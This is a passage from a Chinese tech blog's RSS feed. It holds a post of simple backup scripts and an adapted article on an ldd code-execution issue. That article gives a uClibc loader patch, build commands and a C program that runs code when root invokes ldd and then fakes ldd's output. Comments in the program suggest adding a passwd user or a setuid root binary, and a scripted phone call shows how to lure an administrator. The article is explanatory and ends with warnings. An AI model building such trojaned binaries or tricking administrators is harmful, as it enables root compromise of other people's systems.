More</span></a></p>\nThe post <a href=\"https://coolshell.cn/articles/1640.html\">文件备份的几个简单命令</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.]]></description>\n\t\t\t\t\t\t\t\t\t\t<content:encoded><![CDATA[<p><script async src=\"https://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js?client=ca-pub-3415450859608158\"\n     crossorigin=\"anonymous\"></script>我们知道，备份文件是一件很重要的事情，我在《<a rel=\"bookmark\" href=\"https://coolshell.cn/articles/222.html\">优秀程序员的十个习惯</a>》一文向大家说明了备份文件应该是程序员最基本的一个习惯。本文主要是向大家介绍一些在备份文件和数据时能用得到的一些示例，当然，这些示例主要是通过一些命令行或是脚本来实现的。这就是用命令行和脚本的优势，你可以实现比较灵活和自动的定制。</p>\n<p>本文中的脚本和示例都是主要是通过zip, tar, ftp, wget和shell脚本来完成。在Linux下，你可以什么也不用安装任何程序，但在Windows下，你需要安装zip 和wget这三个命令（在本文的最后有这三个命令的链接，你可以去下载）</p>\n<h4>几个小脚本</h4>\n<p><strong>1）首先，我们来看一下，如何给某目录打个zip包。</strong></p>\n<p><strong>Windows</strong>:</p>\n<p><code data-enlighter-language=\"shell\" class=\"EnlighterJSRAW\"> zip -r backup.zip &quot;c:\\yourfolder&quot;</code></p>\n<p><strong>Linux</strong>: (打包自己的home目录)</p>\n<p><code data-enlighter-language=\"shell\" class=\"EnlighterJSRAW\">tar -czvf ~/backup.tgz --exclude backup.tgz ~/</code></p>\n<p><span id=\"more-1640\"></span><br />\n<strong>2）接下来，我们再来看一下，创建一个带有时间文件名的压缩包，并上传到远程主机的一个例子。</strong></p>\n<p> <strong>Windows</strong></p>\n<pre data-enlighter-language=\"shell\" class=\"EnlighterJSRAW\">\n  :: cmd 脚本\n  :: 压缩包文件格式`backup-mm-dd-yyyy.zip&#039;\n  :: 注意：%dir% 被引号括起是怕目录名中有空格\n\n  @echo off\n\n  set host=ftp.yourhost.com\n  set user=username\n  set pass=password\n  set file=backup-%date:~4,2%-%date:~7,2%-%date:~10%.zip\n  set dir=&quot;yourfolder&quot;\n\n  zip -r %file% %dir%\n\n  &gt;  script.ftp echo open %host%\n  &gt;&gt; script.ftp echo %user%\n  &gt;&gt; script.ftp echo %pass%\n  &gt;&gt; script.ftp echo bin\n  &gt;&gt; script.ftp echo put %file%\n  &gt;&gt; script.ftp echo bye\n\n  ftp.exe -d -s:script.ftp &gt; backup.log\n\n  del script.ftp\n</pre>\n<p><strong>Linux</strong></p>\n<pre data-enlighter-language=\"shell\" class=\"EnlighterJSRAW\">\n  #!/bin/bash\n\n  host=&quot;ftp.yoursite.com&quot;\n  user=&quot;username&quot;\n  pass=&quot;password&quot;\n  file=&quot;backup-$(date &#039;+%m-%d-%Y&#039;).tgz&quot;\n  dir=&quot;$HOME&quot;\n\n  tar -cvzf $file $dir\n\n  ftp -vin &lt;ftp.log\n  open $host\n  user $user $pass\n  bin\n  put $file\n  close\n  bye\n  EOF\n</pre>\n<p><strong>3）最后，我们来看一看，通过wget命令来下载备份好的压缩包。</strong></p>\n<p><strong>Windows</strong></p>\n<pre data-enlighter-language=\"shell\" class=\"EnlighterJSRAW\">\n  :: cmd 脚本\n  :: 注意： &#039;^&#039; 是一个命令的换行符\n\n  set host=&quot;ftp://ftp.your.host.com&quot;\n  set user=&quot;flintstone&quot;\n  set pass=&quot;yabbadabbadoo&quot;\n\n  wget %host% --ftp-user=%user% --ftp-password=%pass% ^ \n      --mirror --output-file=backup.log --passive-ftp\n</pre>\n<p><strong>Linux</strong></p>\n<pre data-enlighter-language=\"shell\" class=\"EnlighterJSRAW\">\n  #!/bin/sh\n  # 注意 &#039;\\&#039; 是命令的换行符\n  \n  host=&quot;ftp://ftp.your.host.com&quot;\n  user=&quot;username&quot;\n  pass=&quot;password&quot;\n\n  wget $host --ftp-user=$user --ftp-password=$pass \\\n  --mirror --output-file=backup.log --passive-ftp\n</pre>\n<h4>相关工具</h4>\n<ul>\n<li>Info-Zip: <a href=\"http://www.info-zip.org/\">http://www.info-zip.org/</a></li>\n<li>GNU Tar: <a href=\"http://www.gnu.org/software/tar/\">http://www.gnu.org/software/tar/</a></li>\n<li>GNU Wget: <a href=\"http://www.gnu.org/software/wget/\">http://www.gnu.org/software/wget/</a></li>\n</ul>\n<h4>几点注意</h4>\n<p>上面的那几个命令比较简单，只是表明一些备份的脚本思路。在实际过程当中，基本上也是这样，下面是几点注意。</p>\n<p>1）给备份文件打包压缩这是第一步，你可以选用其它的压缩程序。如bzip。<br />\n2）文件名上有时间信息比较容易归档。有时候，文件包比较大，还需要对大文件进行分割（一般的压缩软件都支持文件分割）。<br />\n3）使用wget和ftp可能会有用户名密码泄露的问题，使用ssh拷贝文件会比较好。<br />\n4）源代码最好还是使用版本控制工具备份（比如Subversion或CVS）<br />\n5）备份脚本可以放在计划任务（linux是corn）中以实际自动化。<br />\n6）以上的方法一般说来比较适用于全部备份，而不是增量备份。</p>\n<p>（全文完）<a href=\"http://topcat.hypermart.net/backup.html\" target=\"_blank\"></a><!--\n\n\n\n<p align=\"center\"><a href= target=_blank><img decoding=\"async\" src=\"\"></a></p>\n\n\n\n\n\n<p align=\"center\"><img decoding=\"async\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.weixin.jpg\"> <img decoding=\"async\" loading=\"lazy\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.mini_.jpg\" width=\"300\" height=\"300\"> <br />关注CoolShell微信公众账号和微信小程序</p>\n\n \n\n--></p>\n<div style=\"margin-top: 15px; font-size: 16px;color: #cc0000;\">\n<p align=\"center\"><strong>（转载本站文章请注明作者和出处 <a href=\"https://coolshell.cn/\">酷 壳 &#8211; CoolShell</a> ，请勿用于任何商业用途）</strong></p>\n</div>\n\n<div class=\"wp_rp_wrap  wp_rp_vertical_m\" id=\"wp_rp_first\"><div class=\"wp_rp_content\"><h3 class=\"related_post_title\">相关文章</h3><ul class=\"related_post wp_rp\"><li ><a href=\"https://coolshell.cn/articles/3136.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/3.jpg\" alt=\"chmod -x chmod的N种解法\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/3136.html\" class=\"wp_rp_title\">chmod -x chmod的N种解法</a></li><li ><a href=\"https://coolshell.cn/articles/7617.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2012/06/i-hate-copycat-150x150.png\" alt=\"抄袭，腾讯 和 产品 \" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/7617.html\" class=\"wp_rp_title\">抄袭，腾讯 和 产品 </a></li><li ><a href=\"https://coolshell.cn/articles/3540.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/25.jpg\" alt=\"一段Javascript的代码\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/3540.html\" class=\"wp_rp_title\">一段Javascript的代码</a></li><li ><a href=\"https://coolshell.cn/articles/1901.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2009/12/viemu-movie-150x150.gif\" alt=\"Visual Studio的Vim插件\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/1901.html\" class=\"wp_rp_title\">Visual Studio的Vim插件</a></li><li ><a href=\"https://coolshell.cn/articles/179.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2009/03/windows_7_created_in_future2-300x179-1-150x150.jpg\" alt=\"OMG, Windows 7 来自未来\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/179.html\" class=\"wp_rp_title\">OMG, Windows 7 来自未来</a></li><li ><a href=\"https://coolshell.cn/articles/2529.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/6.jpg\" alt=\"StackOverflow的404错误页\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/2529.html\" class=\"wp_rp_title\">StackOverflow的404错误页</a></li></ul></div></div>The post <a href=\"https://coolshell.cn/articles/1640.html\">文件备份的几个简单命令</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.]]></content:encoded>\n\t\t\t\t\t\n\t\t\t\t\t<wfw:commentRss>https://coolshell.cn/articles/1640.html/feed</wfw:commentRss>\n\t\t\t<slash:comments>6</slash:comments>\n\t\t\n\t\t\n\t\t\t</item>\n\t\t<item>\n\t\t<title>ldd 的一个安全问题</title>\n\t\t<link>https://coolshell.cn/articles/1626.html</link>\n\t\t\t\t\t<comments>https://coolshell.cn/articles/1626.html#comments</comments>\n\t\t\n\t\t<dc:creator><![CDATA[陈皓]]></dc:creator>\n\t\t<pubDate>Tue, 27 Oct 2009 16:15:46 +0000</pubDate>\n\t\t\t\t<category><![CDATA[Unix/Linux]]></category>\n\t\t<category><![CDATA[编程工具]]></category>\n\t\t<category><![CDATA[网络安全]]></category>\n\t\t<category><![CDATA[ldd]]></category>\n\t\t<category><![CDATA[Linux]]></category>\n\t\t<guid isPermaLink=\"false\">http://coolshell.cn/?p=1626</guid>\n\n\t\t\t\t\t<description><![CDATA[<p>我们知道“ldd”这个命令主要是被程序员或是管理员用来查看可执行文件所依赖的动态链接库的。是的，这就是这个命令的用处。可是，这个命令比你想像的要危险得多，也许很...</p>\n<p class=\"read-more\"><a class=\"btn btn-default\" href=\"https://coolshell.cn/articles/1626.html\"> Read More<span class=\"screen-reader-text\">  Read More</span></a></p>\nThe post <a href=\"https://coolshell.cn/articles/1626.html\">ldd 的一个安全问题</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.]]></description>\n\t\t\t\t\t\t\t\t\t\t<content:encoded><![CDATA[<p><script async src=\"https://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js?client=ca-pub-3415450859608158\"\n     crossorigin=\"anonymous\"></script>我们知道“ldd”这个命令主要是被程序员或是管理员用来查看可执行文件所依赖的动态链接库的。是的，这就是这个命令的用处。可是，这个命令比你想像的要危险得多，也许很多黑客通过ldd的安全问题来攻击你的服务器。其实，ldd的安全问题存在很长的时间了，但居然没有被官方文档所记录来下，这听上去更加难以理解了。怎么？是不是听起来有点不可思议？下面，让我为你细细道来。</p>\n<p>首先，我们先来了解一下，我们怎么来使用ldd的，请你看一下下面的几个命令：</p>\n<pre data-enlighter-language=\"shell\" class=\"EnlighterJSRAW\">(1) $ ldd /bin/grep\n        linux-gate.so.1 =&gt;  (0xffffe000)\n        libc.so.6 =&gt; /lib/libc.so.6 (0xb7eca000)\n        /lib/ld-linux.so.2 (0xb801e000)\n\n(2) $ LD_TRACE_LOADED_OBJECTS=1 /bin/grep\n        linux-gate.so.1 =&gt;  (0xffffe000)\n        libc.so.6 =&gt; /lib/libc.so.6 (0xb7e30000)\n        /lib/ld-linux.so.2 (0xb7f84000)\n\n(3) $ LD_TRACE_LOADED_OBJECTS=1 /lib/ld-linux.so.2 /bin/grep\n        linux-gate.so.1 =&gt;  (0xffffe000)\n        libc.so.6 =&gt; /lib/libc.so.6 (0xb7f7c000)\n        /lib/ld-linux.so.2 (0xb80d0000)</pre>\n<p>第(1)个命令，我们运行了 <code data-enlighter-language=\"raw\" class=\"EnlighterJSRAW\">ldd</code> 于 <code data-enlighter-language=\"raw\" class=\"EnlighterJSRAW\">/bin/grep</code>。我们可以看到命令的输出是我们想要的，那就是 <code data-enlighter-language=\"raw\" class=\"EnlighterJSRAW\">/bin/grep</code> 所依赖的动态链接库。</p>\n<p>第(2)个命令设置了一个叫 LD_TRACE_LOADED_OBJECTS 的环境变量，然后就好像在运行命令 <code data-enlighter-language=\"raw\" class=\"EnlighterJSRAW\">/bin/grep</code> (但其实并不是)。 其运行结果和ldd的输出是一样的！</p>\n<p>第(3)个命令也是设置了环境变量 LD_TRACE_LOADED_OBJECTS ，然后调用了动态链接库 <code data-enlighter-language=\"raw\" class=\"EnlighterJSRAW\">ld-linux.so</code> 并把 <code data-enlighter-language=\"raw\" class=\"EnlighterJSRAW\">/bin/grep</code> 作为参数传给它。我们发现，其输出结果还是和前面两个一样的。</p>\n<p><span id=\"more-1626\"></span></p>\n<h4>具体发生了什么？</h4>\n<p>对于第二个和第三个命令来说，好像是对 <code data-enlighter-language=\"raw\" class=\"EnlighterJSRAW\">ldd</code> 的一个包装或是一个隐式调用。对于第二个和第三个命令来说， <code data-enlighter-language=\"raw\" class=\"EnlighterJSRAW\">/bin/grep</code> 这个命令就根本没有被运行。这是一个GNU动态载入器的怪异的特性。如果其注意到环境变量LD_TRACE_LOADED_OBJECTS 被设置了，那么它就不会去执行那个可运行的程序，而去输出这个可执行程序所依赖的动态链接库 （在BSD 系统上的<code data-enlighter-language=\"raw\" class=\"EnlighterJSRAW\">ldd</code> 是一个C 程序)。</p>\n<p>如果你使用的是Linux，那么，你可以去看看 <code data-enlighter-language=\"raw\" class=\"EnlighterJSRAW\">ldd</code> 程序，你会发现这是一个 bash 的脚本。如果你仔细查看这个脚本的源码，你会发现，第二个命令和第三个命令的差别就在于 <code data-enlighter-language=\"raw\" class=\"EnlighterJSRAW\">ld-linux.so</code> 装载器是否可以被<code data-enlighter-language=\"raw\" class=\"EnlighterJSRAW\">ldd</code>所装载，如果不能，那就是第二个命令，如果而的话，那就是第三个命令。</p>\n<p>所以，如果我们可以让<code data-enlighter-language=\"raw\" class=\"EnlighterJSRAW\">ld-linux.so</code> 装载器失效的话，或是让别的装载器来取代这个系统默认的动态链接库的话，那么我们就可以让 <code data-enlighter-language=\"raw\" class=\"EnlighterJSRAW\">ldd</code>来载入并运行我们想要程序了——使用不同的载装器并且不处理LD_TRACE_LOADED_OBJECTS 环境变量，而是直接运行程序。</p>\n<p>例如，你可以创建一个具有恶意的程序，如： ~/app/bin/exec 并且使用他自己的装载器 ~/app/lib/loader.so。如果某人（比如超级用户root） 运行了 <code data-enlighter-language=\"raw\" class=\"EnlighterJSRAW\">ldd /home/you/app/bin/exec</code> ，于是，他就玩完了。因为，那并不会列出所依赖的动态链接库，而是，直接执行你的那个恶意程序，这相当于，那个用户给了你他的授权。</p>\n<h4>编译一个新的装载器</h4>\n<p>下载 <a href=\"http://www.uclibc.org/\">uClibc</a> C库。这是一个相当漂亮的代码，并且可以非常容易地修改一下源代码，使其忽略LD_TRACE_LOADED_OBJECTS 检查。</p>\n<pre data-enlighter-language=\"shell\" class=\"EnlighterJSRAW\">$ mkdir app\n$ cd app\napp$ wget &#039;http://www.uclibc.org/downloads/uClibc-0.9.30.1.tar.bz2&#039;</pre>\n<p>解压这个包，并执行 <code data-enlighter-language=\"raw\" class=\"EnlighterJSRAW\">make menuconfig</code>，选项你的平台架构（比如：i386），剩下的事情保持不变。</p>\n<pre data-enlighter-language=\"shell\" class=\"EnlighterJSRAW\">$ bunzip2 &lt; uClibc-0.9.30.1.tar.bz2 | tar -vx\n$ rm -rf uClibc-0.9.30.1.tar.bz2\n$ cd uClibc-0.9.30.1\n$ make menuconfig</pre>\n<p>编辑 .config 并设置目标安装目录：到 <code data-enlighter-language=\"raw\" class=\"EnlighterJSRAW\">/home/you/app/uclibc</code>，<br />\n把下面两行</p>\n<pre data-enlighter-language=\"shell\" class=\"EnlighterJSRAW\">\nRUNTIME_PREFIX=&quot;/usr/$(TARGET_ARCH)-linux-uclibc/&quot;\nDEVEL_PREFIX=&quot;/usr/$(TARGET_ARCH)-linux-uclibc/usr/&quot;</pre>\n<p>改成</p>\n<pre data-enlighter-language=\"shell\" class=\"EnlighterJSRAW\">RUNTIME_PREFIX=&quot;/home/you/app/uclibc/&quot;\nDEVEL_PREFIX=&quot;/home/you/app/uclibc/usr/&quot;</pre>\n<p>现在你需要改动一下其源代码，让其忽略LD_TRACE_LOADED_OBJECTS 环境变量的检查。 下面是个这修改的diff，你需要修改的是 <code data-enlighter-language=\"raw\" class=\"EnlighterJSRAW\">ldso/ldso/ldso.c</code> 文件。你可把下面的这个diff存成一个叫file的文件，然后运行这个命令：<code data-enlighter-language=\"raw\" class=\"EnlighterJSRAW\">patch -p0 &lt; file</code>。如果你不这样做的话，那么，我们的黑客程序就无法工作，而我们的这个装载器还是会认为 <code data-enlighter-language=\"raw\" class=\"EnlighterJSRAW\">ldd</code> 想列出动态链接库的文件列表。</p>\n<p>[patch]<br />\n&#8212; ldso/ldso/ldso-orig.c       2009-10-25 00:27:12.000000000 +0300<br />\n+++ ldso/ldso/ldso.c    2009-10-25 00:27:22.000000000 +0300<br />\n@@ -404,9 +404,11 @@<br />\n         }  #endif<br />\n+    /*<br />\n         if (_dl_getenv(&quot;LD_TRACE_LOADED_OBJECTS&quot;, envp) != NULL) {<br />\n                 trace_loaded_objects++;<br />\n         }<br />\n+    */<br />\n   #ifndef __LDSO_LDD_SUPPORT__<br />\n         if (trace_loaded_objects) {<br />\n[/patch]</p>\n<p>下面让我们来编译并安装它。</p>\n<pre data-enlighter-language=\"shell\" class=\"EnlighterJSRAW\">$ make -j 4\n$ make install</pre>\n<p>于是，我们的 uClibc 装载器就被安装了，并且libc 库指向了 /home/you/app/uclibc. 就这么简单，现在，我们需要做的就是把我们的uClibc的装载器 (app/lib/ld-uClibc.so.0)变成默认的。</p>\n<h4>小试 牛刀</h4>\n<p>首先，先让我们来创建一个测试程序，这人程序也就是输出些自己的东西，这样可以让我们看到我们的程序被执行了。我们把这个程序放在 <code data-enlighter-language=\"raw\" class=\"EnlighterJSRAW\">app/bin/</code>下，叫“myapp.c”，下面是源代码</p>\n<pre data-enlighter-language=\"c\" class=\"EnlighterJSRAW\">#include &lt;stdio.h&gt;\n#include &lt;stdlib.h&gt;\n\nint main() {\n  if (getenv(&quot;LD_TRACE_LOADED_OBJECTS&quot;)) {\n    printf(&quot;All your things are belong to me.\\n&quot;);\n  }\n  else {\n    printf(&quot;Nothing.\\n&quot;);\n  }\n  return 0;\n}</pre>\n<p>这是一个很简单的代码了，这段代码主要检查一下环境变量LD_TRACE_LOADED_OBJECTS 是否被设置了，如果是，那么恶意程序执行，如果没有，那么程序什么也不发生。</p>\n<p>下面是编译程序的命令，，大家可以看到，我们静态链接了一些函数库。我们并不想让LD_LIBRARY_PATH这个变量来发挥作用。</p>\n<pre data-enlighter-language=\"shell\" class=\"EnlighterJSRAW\">$ L=/home/you/app/uclibc\n$ gcc -Wl,--dynamic-linker,$L/lib/ld-uClibc.so.0 \\\n    -Wl,-rpath-link,$L/lib \\\n    -nostdlib \\\n    myapp.c -o myapp \\\n    $L/usr/lib/crt*.o \\\n    -L$L/usr/lib/ \\\n    -lc</pre>\n<p>下面是GCC的各个参数的解释：</p>\n<ul>\n<li><strong>-Wl,&#8211;dynamic-linker,$L/lib/ld-uClibc.so.0</strong> — 指定一个新的装载器。</li>\n<li><strong>-Wl,-rpath-link,$L/lib</strong> — 指定一个首要的动态装载器所在的目录，这个目录用于查找动态库。</li>\n<li><strong>-nostdlib</strong> — 不使用系统标准库。</li>\n<li><strong>myapp.c -o myapp</strong> — 编译myapp.c 成可执行文件 myapp,</li>\n<li><strong>$L/usr/lib/crt*.o</strong> — 静态链接runtime 代码</li>\n<li><strong>-L$L/usr/lib/</strong> — libc 的目录（静态链接）</li>\n<li><strong>-lc</strong> —  C 库</li>\n</ul>\n<p>现在让我们来运行一下我们的 <code data-enlighter-language=\"raw\" class=\"EnlighterJSRAW\">myapp</code> （没有ldd，一切正常）</p>\n<pre data-enlighter-language=\"shell\" class=\"EnlighterJSRAW\">app/bin$ ./myapp\nNothing.</pre>\n<p>LD_TRACE_LOADED_OBJECTS 没有设置，所以输出 “Nothing” 。</p>\n<p>现在，让我们来使用 <code data-enlighter-language=\"raw\" class=\"EnlighterJSRAW\">ldd</code> 来看看这个程序的最大的影响力，让我们以root身份来干这个事。</p>\n<pre data-enlighter-language=\"shell\" class=\"EnlighterJSRAW\">$ su\nPassword:\n# ldd ./myapp\nAll your things are belong to me.</pre>\n<p>哈哈，我们可以看到，ldd触发了我们的恶意代码。于是，我们偷了整个系统！</p>\n<h4>邪恶的程序</h4>\n<p>下面这个例子更为实际一些，如果没有<code data-enlighter-language=\"raw\" class=\"EnlighterJSRAW\">ldd</code> ，那程序程序会报错 “error while loading shared libraries” ，这个错误信息会引诱你去去使用 <code data-enlighter-language=\"raw\" class=\"EnlighterJSRAW\">ldd</code> 去做检查，如果你是root的话，那么就整个系统就玩完了。而当你可以了 <code data-enlighter-language=\"raw\" class=\"EnlighterJSRAW\">ldd</code> 后，它会在干完坏事后，模仿正确的<code data-enlighter-language=\"raw\" class=\"EnlighterJSRAW\">ldd</code>的输出，告诉你 <code data-enlighter-language=\"raw\" class=\"EnlighterJSRAW\">libat.so.0</code> 不存在。</p>\n<p>下面的代码仅仅是向你展示了一下整个想法，代码还需加工和改善。</p>\n<pre data-enlighter-language=\"c\" class=\"EnlighterJSRAW\">#include &lt;stdio.h&gt;\n#include &lt;stdlib.h&gt;\n#include &lt;unistd.h&gt;\n#include &lt;sys/types.h&gt;\n\n/*\nThis example pretends to have a fictitious library &#039;libat.so.0&#039; missing.\nWhen someone with root permissions runs `ldd this_program`, it does\nsomething nasty in malicious() function.\n\nI haven&#039;t implemented anything malicious but have written down some ideas\nof what could be done.\n\nThis is, of course, a joke program. To make it look more real, you&#039;d have\nto bump its size, add some more dependencies, simulate trying to open the\nmissing library, detect if ran under debugger or strace and do absolutely\nnothing suspicious, etc.\n*/\n\nvoid pretend_as_ldd()\n{\n    printf(&quot;\\tlinux-gate.so.1 =&gt;  (0xffffe000)\\n&quot;);\n    printf(&quot;\\tlibat.so.0 =&gt; not found\\n&quot;);\n    printf(&quot;\\tlibc.so.6 =&gt; /lib/libc.so.6 (0xb7ec3000)\\n&quot;);\n    printf(&quot;\\t/lib/ld-linux.so.2 (0xb8017000)\\n&quot;);\n}\n\nvoid malicious()\n{\n    if (geteuid() == 0) {\n        /* we are root ... */\n        printf(&quot;poof, all your box are belong to us\\n&quot;);\n\n        /* silently add a new user to /etc/passwd, */\n        /* or create a suid=0 program that you can later execute, */\n        /* or do something really nasty */\n    }\n}\n\nint main(int argc, char **argv)\n{\n    if (getenv(&quot;LD_TRACE_LOADED_OBJECTS&quot;)) {\n        malicious();\n        pretend_as_ldd();\n        return 0;\n    }\n\n    printf(&quot;%s: error while loading shared libraries: libat.so.0: &quot;\n           &quot;cannot open shared object file: No such file or directory\\n&quot;,\n           argv[0]);\n    return 127;\n}</pre>\n<p> </p>\n<h4>邪恶的电话</h4>\n<p>事实上来说，上面的那段程序可能的影响更具破坏性，因为大多数的系统管理员可能并不知道不能使用 <code data-enlighter-language=\"raw\" class=\"EnlighterJSRAW\">ldd</code> 去测试那些不熟悉的执行文件。下面是一段很可能会发现的对话，让我们看看我们的程序是如何更快地获得系统管理员的权限的。</p>\n<p>系统管理员的电话狂响……</p>\n<p>系统管理员： “同志你好，我是系统管理员，有什么可以帮你的？”</p>\n<p>黑客：“管理员同志你好。我有一个程序不能运行，总是报错，错误好像是说一个系统动态链接库有问题，你能不能帮我看看？”</p>\n<p>系统管理员：“没问题，你的那个程序在哪里？”</p>\n<p>黑客： “在我的home目录下，/home/hchen/app/bin/myapp”。</p>\n<p>系统管理员：“ OK，等一会儿”，黑客在电话这头可以听到一些键盘的敲击声。</p>\n<p>系统管理员：“好像是动态链接库的问题，你能告诉我你的程序具体需要什么样的动态链接库吗？”</p>\n<p>黑客说: “谢谢，应该没有别的嘛。”</p>\n<p>系统管理员：“嗯，查到了，说是没有了 <code data-enlighter-language=\"raw\" class=\"EnlighterJSRAW\">libat.so.0</code>这是你自己的动态链接库吗？”</p>\n<p>黑客说：“哦，好像是的，你等一下，我看看……” 黑客在那头露出了邪恶的笑，并且，讯速地输入了下面的命令：</p>\n<p style=\"padding-left: 30px;\"><code data-enlighter-language=\"raw\" class=\"EnlighterJSRAW\">mv ~/.hidden/working_app ~/app/bin/myapp</code><br />\n<code data-enlighter-language=\"raw\" class=\"EnlighterJSRAW\">mv ~/.hidden/libat.so.o ~/app/bin/</code></p>\n<p>黑客说：“哦，对了，的确是我的不对，我忘了把这个链接库拷过来了，现在应该可以了，谢谢你啊，真是不好意思，麻烦你了”</p>\n<p>系统管理员： “没事就行了，下次注意啊！”（然后系统管理心里暗骂，TMD，又一个白痴用户！……）</p>\n<p><strong>教训一：千万不要使用 <code data-enlighter-language=\"raw\" class=\"EnlighterJSRAW\">ldd</code> 去测试你不知道的文件！<br />\n教训二：千万不要相信陌生人！</strong></p>\n<p>文章：<a href=\"http://www.catonmat.net/blog/ldd-arbitrary-code-execution/\" target=\"_blank\">来源</a>（以上文章并非完全翻译，我做过一些修改，所以，如果你要转载，请注明作者和出处）<!--\n\n\n\n<p align=\"center\"><a href= target=_blank><img decoding=\"async\" src=\"\"></a></p>\n\n\n\n\n\n<p align=\"center\"><img decoding=\"async\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.weixin.jpg\"> <img decoding=\"async\" loading=\"lazy\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.mini_.jpg\" width=\"300\" height=\"300\"> <br />关注CoolShell微信公众账号和微信小程序</p>\n\n \n\n--></p>\n<div style=\"margin-top: 15px; font-size: 16px;color: #cc0000;\">\n<p align=\"center\"><strong>（转载本站文章请注明作者和出处 <a href=\"https://coolshell.cn/\">酷 壳 &#8211; CoolShell</a> ，请勿用于任何商业用途）</strong></p>\n</div>\n\n<div class=\"wp_rp_wrap  wp_rp_vertical_m\" ><div class=\"wp_rp_content\"><h3 class=\"related_post_title\">相关文章</h3><ul class=\"related_post wp_rp\"><li ><a href=\"https://coolshell.cn/articles/22320.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2022/12/eBPF-150x150.jpeg\" alt=\"eBPF 介绍\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/22320.html\" class=\"wp_rp_title\">eBPF 介绍</a></li><li ><a href=\"https://coolshell.cn/articles/19219.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2019/03/linux.ninja_-150x150.png\" alt=\"打造高效的工作环境 &#8211; Shell 篇\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/19219.html\" class=\"wp_rp_title\">打造高效的工作环境 &#8211; Shell 篇</a></li><li ><a href=\"https://coolshell.cn/articles/18654.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2018/12/docker-networking-1-150x150.png\" alt=\"记一次Kubernetes/Docker网络排障\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/18654.html\" class=\"wp_rp_title\">记一次Kubernetes/Docker网络排障</a></li><li ><a href=\"https://coolshell.cn/articles/18360.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2018/05/300x262-150x150.jpg\" alt=\"程序员练级攻略（2018)  与我的专栏\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/18360.html\" class=\"wp_rp_title\">程序员练级攻略（2018)  与我的专栏</a></li><li ><a href=\"https://coolshell.cn/articles/17998.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2017/07/systemd-1-150x150.jpeg\" alt=\"Linux PID 1 和 Systemd\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/17998.html\" class=\"wp_rp_title\">Linux PID 1 和 Systemd</a></li><li ><a href=\"https://coolshell.cn/articles/17416.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2016/07/cache-150x150.png\" alt=\"缓存更新的套路\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/17416.html\" class=\"wp_rp_title\">缓存更新的套路</a></li></ul></div></div>The post <a href=\"https://coolshell.cn/articles/1626.html\">ldd 的一个安全问题</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.]]></content:encoded>\n\t\t\t\t\t\n\t\t\t\t\t<wfw:commentRss>https://coolshell.cn/articles/1626.html/feed</wfw:commentRss>\n\t\t\t<slash:comments>41</slash:comments>\n\t\t\n\t\t\n\t\t\t</item>\n\t\t<item>\n\t\t<title>Windows 7 的新粉丝 Linus Torvalds</title>\n\t\t<link>https://coolshell.cn/articles/1619.html</link>\n\t\t\t\t\t<comments>https://coolshell.cn/articles/1619.html#comments</comments>\n\t\t\n\t\t<dc:creator><![CDATA[陈皓]]></dc:creator>\n\t\t<pubDate>Fri, 23 Oct 2009 06:21:50 +0000</pubDate>\n\t\t\t\t<category><![CDATA[Windows]]></category>\n\t\t<category><![CDATA[轶事趣闻]]></category>\n\t\t<category><![CDATA[Linus Torvalds]]></category>\n\t\t<guid isPermaLink=\"false\">http://coolshell.cn/?p=1619</guid>\n\n\t\t\t\t\t<description><![CDATA[<p>正当Windows 7 开始热卖的时候，正当广大北美用户抱怨Windows 7的销售价格，在东方要比西方便宜很多的时候。我们著名的Linus Torvalds来...</p>\n<p class=\"read-more\"><a class=\"btn btn-default\" href=\"https://coolshell.cn/articles/1619.html\"> Read More<span class=\"screen-reader-text\">  Read More</span></a></p>\nThe post <a href=\"https://coolshell.cn/articles/1619.html\">Windows 7 的新粉丝 Linus Torvalds</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.]]></description>\n\t\t\t\t\t\t\t\t\t\t<content:encoded><![CDATA[<p><script async src=\"https://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js?client=ca-pub-3415450859608158\"\n     crossorigin=\"anonymous\"></script>正当Windows 7 